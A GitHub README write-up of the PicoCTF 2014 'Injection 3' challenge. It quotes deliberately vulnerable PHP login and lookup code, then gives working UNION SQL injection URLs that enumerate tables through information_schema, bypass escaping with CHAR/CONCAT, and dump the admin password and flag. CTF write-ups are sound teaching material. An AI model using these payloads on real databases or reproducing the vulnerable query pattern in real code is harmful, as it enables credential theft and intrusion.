Skip to content
Branch: master
Find file History
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
README.md

README.md

Pico CTF 2014 : Injection 3

Category: Web Exploitation Points: 130 Description:

Daedalus Corp. has increased the security of their login prompt. Is it possible to work around their new defenses? http://web2014.picoctf.com/injection3/

Hint:

Pretend the mysqli_real_escape_string in lookup_user.php isn't there and try doing your standard UNION SQL injection. What does the query end up looking like?

Write-up

In the site index.php we are presented with a login form that takes a username and a password.

The source code for that is also given:

<?php
include "config.php";
$con = mysqli_connect("localhost", "sql3", "sql3", "sql3");
$username = mysqli_real_escape_string($con, $_POST["username"]);
$password = mysqli_real_escape_string($con, $_POST["password"]);
$query = "SELECT * FROM ${table_prefix}users WHERE username='$username' AND password='$password'";
$result = mysqli_query($con, $query);

if (mysqli_num_rows($result) === 1) {
  $row = mysqli_fetch_array($result);
  echo "<h1>Logged in!</h1>";
  if ($row["username"] === "admin") {
    echo "<p>Your flag is: $FLAG</p>";
  } else {
    echo "<p>Only admin can see the flag.</p>";
  }
} else {
  echo "<h1>Login failed.</h1>";
}
?>

There doesn't seem to be some visible sql injection there but there is a link on the page below for the /lookup_user.php?id=1 page which when loaded contains the following:

User info for admin
Display name: Admin
Location: Pittsburgh
E-mail: admin@admin.me

View source

The source code of lookup_user.php is:

<?php
include "config.php";
$con = mysqli_connect("localhost", "sql3", "sql3", "sql3");
// ID is escaped, so this must be safe, right?
$id = mysqli_real_escape_string($con, $_GET["id"]);

if (intval($_GET["debug"])) {
  echo "<pre>";
  echo "id: ", htmlspecialchars($id);
  echo "</pre>";
}

$query = "SELECT * FROM ${table_prefix}users WHERE id=$id";
$result = mysqli_query($con, $query);

if (mysqli_num_rows($result) !== 1) {
  die("<p>Could not find user.</p>");
}

$row = mysqli_fetch_array($result);
echo "<pre>";
echo "User info for ", htmlspecialchars($row["username"]), "\n";
echo "Display name: ", htmlspecialchars($row["display_name"]), "\n";
echo "Location: ", htmlspecialchars($row["location"]), "\n";
echo "E-mail: ", htmlspecialchars($row["email"]), "\n";
echo "</pre>";
echo '<a href="lookup_user.phps">View source</a>';
?>

As in the injection-2 challenge there is a debug flag to show us the query we have inputed in id= and it requires a single row to be returned.

We can start simple by changing id=1 to id=1 OR 0=1. The second query doesn't fail so there is a possibility to inject SQL statements.

We could immediately try a UNION SELECT .... FROM ${table_prefix}users but we don't know the table prefix.

By quickly searching you can see that the information_schema.TABLES table in mysql contains the table names contained in the database. We also know that our table ends in "*users". If we ignore the mysqli_real_escape_string for a moment and assume that no filtering is done in our input then our normal query that would give us the *users table would look like this

id=1 AND 1=0 UNION SELECT TABLE_NAME AS username, TABLE_NAME AS location, TABLE_NAME as password2, TABLE_NAME as password3, TABLE_NAME as password, TABLE_NAME AS email, TABLE_NAME as display_name FROM information_schema.TABLES WHERE TABLE_NAME LIKE "%users" LIMIT 1

We invalidate the results of the first SELECT statement by adding the AND 1=0, do a UNION SELECT with some extra columns (7 in total) to match the number of columns in the ${table_prefix}users (we can find that with quick trial and error by adding columns one-by-one) and finally we LIMIT the results to 1 so that it passes the if check in the php code.

The issue here is that the mysqli_real_escape_string function escapes the " and turns it to a " in the query and thus the page returns a Could not find user..

We can avoid that check by encoding the double quotes with CONCAT(CHAR(37), CHAR(117), CHAR(115), CHAR(101), CHAR(114), CHAR(115)). The CHAR() function turns the numbers to their ascii encoding and the concat turns all the characters to a string surrounded with double quotes. The end result of this CONCAT will be "%users".

So if we try

http://web2014.picoctf.com/injection3/lookup_user.php?debug=1&id=1 AND 1=0 UNION SELECT TABLE_NAME AS username, TABLE_NAME AS location, TABLE_NAME as password2, TABLE_NAME as password3, TABLE_NAME as password, TABLE_NAME AS email, TABLE_NAME as display_name FROM information_schema.TABLES WHERE TABLE_NAME LIKE CONCAT(CHAR(37), CHAR(117), CHAR(115), CHAR(101), CHAR(114), CHAR(115)) LIMIT 1

We get

User info for super_secret_users
Display name: super_secret_users
Location: super_secret_users
E-mail: super_secret_users

Therefore our users table is super_secret_users.

Now all we need is to do a UNION SELECT with tha table to get the Admins password and use that to login.

We try:

http://web2014.picoctf.com/injection3/lookup_user.php?debug=1&id=1 AND 0=1 UNION SELECT username, password AS location, username as password2, username as password, username as password, username AS email, username as display_name FROM super_secret_users LIMIT 1

and get

User info for not_the_flag_super_secret_admin_password
Display name: admin
Location: admin
E-mail: admin

The password is not_the_flag_super_secret_admin_password and if you use that to login in the initial login.php you get the flag flag_2tc7ZPa5PEhcyZJXgH.

Other write-ups and resources

  • none yet
You can’t perform that action at this time.